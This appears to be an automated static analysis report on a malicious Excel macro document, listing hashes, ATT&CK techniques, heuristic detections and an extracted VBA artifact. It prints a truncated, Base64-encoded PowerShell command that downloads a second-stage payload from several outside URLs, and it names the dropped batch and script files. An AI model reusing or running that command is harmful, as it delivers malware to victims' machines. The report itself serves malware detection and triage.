Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 bbc7456143f239e6…

MALICIOUS

Office (OLE) / .XLSX

142.0 KB Created: 2015-06-05 18:17:20 Authoring application: Microsoft Excel
MD5: e04ffabaf60a5220b6ae3d5888857a36 SHA-1: d5eb8e2bed131f4d8c0a7e2a1c08eec0e8fc6373 SHA-256: bbc7456143f239e660b366674fd055a161522263a8255b102a13a2e733e40df2
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The file contains VBA macros, specifically a Workbook_Open macro, which is a common technique for executing malicious code upon opening the document. The script attempts to create objects like 'Wscript.Shell' and 'Scripting.FileSystemObject' to execute commands and potentially download further payloads. The reconstructed command line `hell -e nc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAGcAbwB5AGEAbAB1AGEAdAAuAHYAbQBlAHMAaAAuAGkAbgAvADAAdgA2AGsAYwBuAHkALwBDAEcALwAsAGgAdAB0AHAAcwA6AC8ALwBtAGEAcgBzAC4AcwByAGwALwB3AHAALQBhAGQAbQBpAG4ALwA3AEYAZgBrADYATABMAE4AMgBYAHMAMgBXAC8ALABoAHQAdABwADoALwAvAGYAcgBhAG4AbQB1AGwAZQByAG8ALgBlAHMALwBtAGIAeAAvADgAYwA1AFIAQgBKAHgANgAvACwAaAB0AHQAcAA6AC8ALwB2AGEAcgBhAGYAbwBvAGQALgBjAG8AbQAvAEEAagBhAHgALwBjAG4ATQA5ADEARwAvACwAaAB0AHQAcABzADoALwAvADcAagBjAGEAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQALwAsAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGMAZQBuAHQAcgBhAGwAaABvAG0AZQAuAGgA` indicates the execution of a Base64 encoded command, likely to download and execute a second-stage payload from one of the listed URLs. The presence of 'c:\programdata\jledshf.bat' and 'c:\programdata\sduoixo.vbs' suggests the creation of malicious files on the system.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-10004384-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10004384-0
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
527d0656a0c2c323955d068683ef8f7e20c035cda247a1e24383595c0eb3403b
vba-macro oletools.olevba.extract_macros (decoded VBA source) 7821 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.